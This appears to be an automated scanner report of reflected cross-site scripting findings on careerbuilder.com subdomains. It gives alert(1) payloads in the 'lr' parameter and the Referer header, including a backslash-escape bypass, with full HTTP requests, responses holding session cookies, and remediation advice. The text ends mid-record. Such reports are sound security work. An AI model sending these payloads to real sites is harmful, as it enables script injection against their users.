HTTP/1.1 200 OK Cache-Control: private Content-Length: 195292 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: :mxdl41=pg=1&sc=-1&sd=0; path=/ Set-Cookie: CB%5FSID=47aedb72ac304fa681c636fd69677a9d-343070852-XA-6; domain=.careerbuilder.com; path=/; HttpOnly Set-Cookie: BID=X13ACF19327AEAC6500EA1D41B61C64B6248A474FC3460AF4AEC050CF26BFBC579150EA207841BA8141D97498AE19DB109; domain=.careerbuilder.com; expires=Mon, 14-Nov-2011 22:27:32 GMT; path=/; HttpOnly Set-Cookie: PU=0; domain=.careerbuilder.com; expires=Sun, 14-Nov-2010 22:42:33 GMT; path=/ X-Powered-By: ASP.NET X-PBY: BEAR41 Date: Sun, 14 Nov 2010 22:27:33 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the lr request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a656a"%20a%3db%203feb96be110 was submitted in the lr parameter. This input was echoed as a656a" a=b 3feb96be110 in the application's response.
This behaviour demonstrates that it is possible to inject new attributes into an existing HTML tag. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /hr.ic/Florida_Miami/?lr=cbcb_mha656a"%20a%3db%203feb96be110&SiteID=cbcb_mh041 HTTP/1.1 Host: human-resources.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 194193 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: :mxdl41=pg=1&sc=-1&sd=0; path=/ Set-Cookie: CB%5FSID=1e5701970477412aa75465747cf51d58-343070973-VK-4; domain=.careerbuilder.com; path=/; HttpOnly Set-Cookie: BID=X13ACF19327AEAC650865DE06C3AE6A4BBB8F6A0661D0455222BAE02B5150F8E67A38F6CB311BAA009D670CCB1DAF5CA4A; domain=.careerbuilder.com; expires=Mon, 14-Nov-2011 22:29:33 GMT; path=/; HttpOnly Set-Cookie: PU=0; domain=.careerbuilder.com; expires=Sun, 14-Nov-2010 22:44:33 GMT; path=/ X-Powered-By: ASP.NET X-PBY: REBEL32 Date: Sun, 14 Nov 2010 22:29:33 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the lr request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5ba05'-alert(1)-'20bdb4e6d83 was submitted in the lr parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /hr.ic/Florida_Miami/?lr=cbcb_mh5ba05'-alert(1)-'20bdb4e6d83&SiteID=cbcb_mh041 HTTP/1.1 Host: human-resources.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 194902 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: :mxdl41=pg=1&sc=-1&sd=0; path=/ Set-Cookie: CB%5FSID=7bfbfd0022de40daa96f627df37564bf-343070993-RM-4; domain=.careerbuilder.com; path=/; HttpOnly Set-Cookie: BID=X13ACF19327AEAC6501E658FA81FEF0DB60921B25D8E4F2FE04403B3C7B2678EDE05E651406E1D89EA5E4984F4B9384687; domain=.careerbuilder.com; expires=Mon, 14-Nov-2011 22:29:53 GMT; path=/; HttpOnly Set-Cookie: PU=0; domain=.careerbuilder.com; expires=Sun, 14-Nov-2010 22:44:53 GMT; path=/ X-Powered-By: ASP.NET X-PBY: REBEL22 Date: Sun, 14 Nov 2010 22:29:53 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html id="HTMLTag" xml:lang="en-US" lang="en-US"> <head><title> Miami ...[SNIP]... in._introHTML = 'The feature you requested is only available to members. Please sign in to continue...'; CB.AJAX.Login._registerURL = 'https://www.careerbuilder.com/Share/Register.aspx?lr=cbcb_mh5ba05'-alert(1)-'20bdb4e6d83&ff=21'; CB.AJAX.Login._siteDownHTML = "You must be logged in to use this feature, but Login is currently unavailable while we perform necessary maintenance. Please try again later."; CB.AJAX ...[SNIP]...
The value of the lr request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 40fd5'-alert(1)-'67f3434df66 was submitted in the lr parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /it.ic/Florida_Miami/?lr=cbcb_mh40fd5'-alert(1)-'67f3434df66&SiteID=cbcb_mh042 HTTP/1.1 Host: information-technology.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 191425 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: :mxdl41=pg=1&sc=-1&sd=0; path=/ Set-Cookie: CB%5FSID=78df5155179941aab241f0efdb48ee86-343070998-RN-4; domain=.careerbuilder.com; path=/; HttpOnly Set-Cookie: BID=X13ACF19327AEAC650E36B0C4DEFC08F5BFE7A35E645C2838A9BCADFD76C078D6DE946337E6A1CF3E4E66BD1632AD26272; domain=.careerbuilder.com; expires=Mon, 14-Nov-2011 22:29:57 GMT; path=/; HttpOnly Set-Cookie: PU=0; domain=.careerbuilder.com; expires=Sun, 14-Nov-2010 22:44:57 GMT; path=/ X-Powered-By: ASP.NET X-PBY: REBEL23 Date: Sun, 14 Nov 2010 22:29:57 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html id="HTMLTag" xml:lang="en-US" lang="en-US"> <head><title> Miami ...[SNIP]... in._introHTML = 'The feature you requested is only available to members. Please sign in to continue...'; CB.AJAX.Login._registerURL = 'https://www.careerbuilder.com/Share/Register.aspx?lr=cbcb_mh40fd5'-alert(1)-'67f3434df66&ff=21'; CB.AJAX.Login._siteDownHTML = "You must be logged in to use this feature, but Login is currently unavailable while we perform necessary maintenance. Please try again later."; CB.AJAX ...[SNIP]...
The value of the lr request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 54914"%20a%3db%2095f3352e48e was submitted in the lr parameter. This input was echoed as 54914" a=b 95f3352e48e in the application's response.
This behaviour demonstrates that it is possible to inject new attributes into an existing HTML tag. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /it.ic/Florida_Miami/?lr=cbcb_mh54914"%20a%3db%2095f3352e48e&SiteID=cbcb_mh042 HTTP/1.1 Host: information-technology.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 190767 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: :mxdl41=pg=1&sc=-1&sd=0; path=/ Set-Cookie: CB%5FSID=1eebfb60fe96456d8a3b98a9516e4751-343070978-RB-4; domain=.careerbuilder.com; path=/; HttpOnly Set-Cookie: BID=X13ACF19327AEAC6508E9F867635F13D3D0437D5790B86ED02ADDD09ED97BAA2FC74B7E92B73F8C7F44E1FFD0AA13E1555; domain=.careerbuilder.com; expires=Mon, 14-Nov-2011 22:29:37 GMT; path=/; HttpOnly Set-Cookie: PU=0; domain=.careerbuilder.com; expires=Sun, 14-Nov-2010 22:44:38 GMT; path=/ X-Powered-By: ASP.NET X-PBY: REBEL11 Date: Sun, 14 Nov 2010 22:29:37 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the lr request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 2a78f'-alert(1)-'2c61d5b8e89 was submitted in the lr parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /mf.ic/Florida_Miami/?lr=cbcb_mh2a78f'-alert(1)-'2c61d5b8e89&SiteID=cbcb_mh043 HTTP/1.1 Host: manufacturing.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 200489 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: :mxdl41=pg=1&sc=-1&sd=0; path=/ Set-Cookie: CB%5FSID=31c8a9168a324c7db86d4832c28fda33-343071021-R7-4; domain=.careerbuilder.com; path=/; HttpOnly Set-Cookie: BID=X13ACF19327AEAC650DB6131B087A38A47B2E951820C5AC2CC5B2E82D3899943FBB7C47BC6A3F46E8B7A2166EDA22B2B1E; domain=.careerbuilder.com; expires=Mon, 14-Nov-2011 22:30:21 GMT; path=/; HttpOnly Set-Cookie: PU=0; domain=.careerbuilder.com; expires=Sun, 14-Nov-2010 22:45:21 GMT; path=/ X-Powered-By: ASP.NET X-PBY: REBEL7 Date: Sun, 14 Nov 2010 22:30:20 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html id="HTMLTag" xml:lang="en-US" lang="en-US"> <head><title> Miami ...[SNIP]... in._introHTML = 'The feature you requested is only available to members. Please sign in to continue...'; CB.AJAX.Login._registerURL = 'https://www.careerbuilder.com/Share/Register.aspx?lr=cbcb_mh2a78f'-alert(1)-'2c61d5b8e89&ff=21'; CB.AJAX.Login._siteDownHTML = "You must be logged in to use this feature, but Login is currently unavailable while we perform necessary maintenance. Please try again later."; CB.AJAX ...[SNIP]...
The value of the lr request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4f03f"%20a%3db%206b20fd7d40 was submitted in the lr parameter. This input was echoed as 4f03f" a=b 6b20fd7d40 in the application's response.
This behaviour demonstrates that it is possible to inject new attributes into an existing HTML tag. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /mf.ic/Florida_Miami/?lr=cbcb_mh4f03f"%20a%3db%206b20fd7d40&SiteID=cbcb_mh043 HTTP/1.1 Host: manufacturing.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 198344 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: :mxdl41=pg=1&sc=-1&sd=0; path=/ Set-Cookie: CB%5FSID=8304050d6cf8407c811aa470d8e5f6d1-343070998-R4-4; domain=.careerbuilder.com; path=/; HttpOnly Set-Cookie: BID=X13ACF19327AEAC650B9DECA71415B4B344AA0626B957297F05C7D9A2F0F944124DD6C01CE730577B3DB3E25B34023B418; domain=.careerbuilder.com; expires=Mon, 14-Nov-2011 22:29:57 GMT; path=/; HttpOnly Set-Cookie: PU=0; domain=.careerbuilder.com; expires=Sun, 14-Nov-2010 22:44:57 GMT; path=/ X-Powered-By: ASP.NET X-PBY: REBEL4 Date: Sun, 14 Nov 2010 22:29:57 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the lr request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 44c59"%20a%3db%205eb6f2d6390 was submitted in the lr parameter. This input was echoed as 44c59" a=b 5eb6f2d6390 in the application's response.
This behaviour demonstrates that it is possible to inject new attributes into an existing HTML tag. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /np.ic/Florida_Miami/?lr=cbcb_mh44c59"%20a%3db%205eb6f2d6390&SiteID=cbcb_mh044 HTTP/1.1 Host: nonprofit.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 192802 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: :mxdl41=pg=1&sc=-1&sd=0; path=/ Set-Cookie: CB%5FSID=c08c85f0ab084f8f980cf516a8699a49-343071164-wr-6; domain=.careerbuilder.com; path=/; HttpOnly Set-Cookie: BID=X13ACF19327AEAC650B3A9AEF8176FA9165F0DC617B8A41DBB4614ECA2B5399C5087ECC6D8DD45EEFD09EDB9641CDD258A; domain=.careerbuilder.com; expires=Mon, 14-Nov-2011 22:32:43 GMT; path=/; HttpOnly Set-Cookie: PU=0; domain=.careerbuilder.com; expires=Sun, 14-Nov-2010 22:47:44 GMT; path=/ X-Powered-By: ASP.NET X-PBY: BEAR28 Date: Sun, 14 Nov 2010 22:32:44 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the lr request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 7c4b0'-alert(1)-'e1cb828b728 was submitted in the lr parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /np.ic/Florida_Miami/?lr=cbcb_mh7c4b0'-alert(1)-'e1cb828b728&SiteID=cbcb_mh044 HTTP/1.1 Host: nonprofit.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 193671 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: :mxdl41=pg=1&sc=-1&sd=0; path=/ Set-Cookie: CB%5FSID=d3514a0dd6ee4dd987d69599015f5627-343071191-w2-6; domain=.careerbuilder.com; path=/; HttpOnly Set-Cookie: BID=X13ACF19327AEAC65082533C0B6A15006E7BC1B42D76A4BDB01E298DFB14A0354963421DD88C93932E779431AB1D93ACE6; domain=.careerbuilder.com; expires=Mon, 14-Nov-2011 22:33:11 GMT; path=/; HttpOnly Set-Cookie: PU=0; domain=.careerbuilder.com; expires=Sun, 14-Nov-2010 22:48:11 GMT; path=/ X-Powered-By: ASP.NET X-PBY: BEAR2 Date: Sun, 14 Nov 2010 22:33:11 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html id="HTMLTag" xml:lang="en-US" lang="en-US"> <head><title> Miami ...[SNIP]... in._introHTML = 'The feature you requested is only available to members. Please sign in to continue...'; CB.AJAX.Login._registerURL = 'https://www.careerbuilder.com/Share/Register.aspx?lr=cbcb_mh7c4b0'-alert(1)-'e1cb828b728&ff=21'; CB.AJAX.Login._siteDownHTML = "You must be logged in to use this feature, but Login is currently unavailable while we perform necessary maintenance. Please try again later."; CB.AJAX ...[SNIP]...
The value of the lr request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5b023'-alert(1)-'384c97332ed was submitted in the lr parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /sm.ic/Florida_Miami/?lr=cbcb_mh5b023'-alert(1)-'384c97332ed&SiteID=cbcb_mh046 HTTP/1.1 Host: sales-marketing.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 199874 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: :mxdl41=pg=1&sc=-1&sd=0; path=/ Set-Cookie: CB%5FSID=1ada416b55864b70b364400fe1ec4bd2-343071233-wx-6; domain=.careerbuilder.com; path=/; HttpOnly Set-Cookie: BID=X13ACF19327AEAC65088C2B54C90EA381232F5A1B73A74E39F55234E2E04AEE9D9E243F37AEFDF837155E0C8F4E2A2701C; domain=.careerbuilder.com; expires=Mon, 14-Nov-2011 22:33:52 GMT; path=/; HttpOnly Set-Cookie: PU=0; domain=.careerbuilder.com; expires=Sun, 14-Nov-2010 22:48:53 GMT; path=/ X-Powered-By: ASP.NET X-PBY: BEAR34 Date: Sun, 14 Nov 2010 22:33:52 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html id="HTMLTag" xml:lang="en-US" lang="en-US"> <head><title> Miami ...[SNIP]... in._introHTML = 'The feature you requested is only available to members. Please sign in to continue...'; CB.AJAX.Login._registerURL = 'https://www.careerbuilder.com/Share/Register.aspx?lr=cbcb_mh5b023'-alert(1)-'384c97332ed&ff=21'; CB.AJAX.Login._siteDownHTML = "You must be logged in to use this feature, but Login is currently unavailable while we perform necessary maintenance. Please try again later."; CB.AJAX ...[SNIP]...
The value of the lr request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 71567"%20a%3db%2037dba5a01fa was submitted in the lr parameter. This input was echoed as 71567" a=b 37dba5a01fa in the application's response.
This behaviour demonstrates that it is possible to inject new attributes into an existing HTML tag. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /sm.ic/Florida_Miami/?lr=cbcb_mh71567"%20a%3db%2037dba5a01fa&SiteID=cbcb_mh046 HTTP/1.1 Host: sales-marketing.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 199294 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: :mxdl41=pg=1&sc=-1&sd=0; path=/ Set-Cookie: CB%5FSID=2dec5cb744574f9c9598166721519d59-343071203-wq-6; domain=.careerbuilder.com; path=/; HttpOnly Set-Cookie: BID=X13ACF19327AEAC650B7174C4F3D987D1FF16F084FF840B84E44E723C892C16C31E97843014090580DC1E4169D092792D0; domain=.careerbuilder.com; expires=Mon, 14-Nov-2011 22:33:23 GMT; path=/; HttpOnly Set-Cookie: PU=0; domain=.careerbuilder.com; expires=Sun, 14-Nov-2010 22:48:23 GMT; path=/ X-Powered-By: ASP.NET X-PBY: BEAR27 Date: Sun, 14 Nov 2010 22:33:23 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9d5fd\'%3balert(1)//663d5006bad was submitted in the Referer HTTP header. This input was echoed as 9d5fd\\';alert(1)//663d5006bad in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /?lr=cbcb_mhf48aa HTTP/1.1 Host: accounting.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: BID=X13ACF19327AEAC65072116A0EEB7368F916169A12E907F8C06BE387AC4A5AFD3A02B5F3087AB74F54A9922BF4B57C0A12; PU=0; CB%5FSID=a839a7c1d4f149f0a63fe152456c56b4-343070815-TW-4; :mxdl41=pg=1&sc=-1&sd=0; Referer: http://www.google.com/search?hl=en&q=9d5fd\'%3balert(1)//663d5006bad
Response (redirected)
HTTP/1.1 200 OK Cache-Control: private Content-Length: 199301 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" X-Powered-By: ASP.NET X-PBY: BEAR25 Date: Sun, 14 Nov 2010 23:35:15 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html id="HTMLTag" xml:lang="en-US" lang="en-US"> <head><title> Accoun ...[SNIP]... '; s_cb.channel='JS_FindJobs'; s_cb.prop1='AG Subdomain Home'; s_cb.eVar11='NotRegistered'; s_cb.eVar15='NO_NotRegistered'; s_cb.eVar16='natural (google) - 9d5fd\\';alert(1)//663d5006bad'; /************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/ var s_code=s_cb.t();if(s_code)document.write(s_code)//--> ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9f6fc\'%3balert(1)//8602fe1ed7 was submitted in the Referer HTTP header. This input was echoed as 9f6fc\\';alert(1)//8602fe1ed7 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET / HTTP/1.1 Host: accounting.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: BID=X13ACF19327AEAC65072116A0EEB7368F916169A12E907F8C06BE387AC4A5AFD3A02B5F3087AB74F54A9922BF4B57C0A12; PU=0; CB%5FSID=a839a7c1d4f149f0a63fe152456c56b4-343070815-TW-4; :mxdl41=pg=1&sc=-1&sd=0; Referer: http://www.google.com/search?hl=en&q=9f6fc\'%3balert(1)//8602fe1ed7
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 199290 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" X-Powered-By: ASP.NET X-PBY: REBEL35 Date: Sun, 14 Nov 2010 23:23:27 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html id="HTMLTag" xml:lang="en-US" lang="en-US"> <head><title> Accoun ...[SNIP]... '; s_cb.channel='JS_FindJobs'; s_cb.prop1='AG Subdomain Home'; s_cb.eVar11='NotRegistered'; s_cb.eVar15='NO_NotRegistered'; s_cb.eVar16='natural (google) - 9f6fc\\';alert(1)//8602fe1ed7'; /************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/ var s_code=s_cb.t();if(s_code)document.write(s_code)//--> ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 114ab\'%3balert(1)//117bf833582 was submitted in the Referer HTTP header. This input was echoed as 114ab\\';alert(1)//117bf833582 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
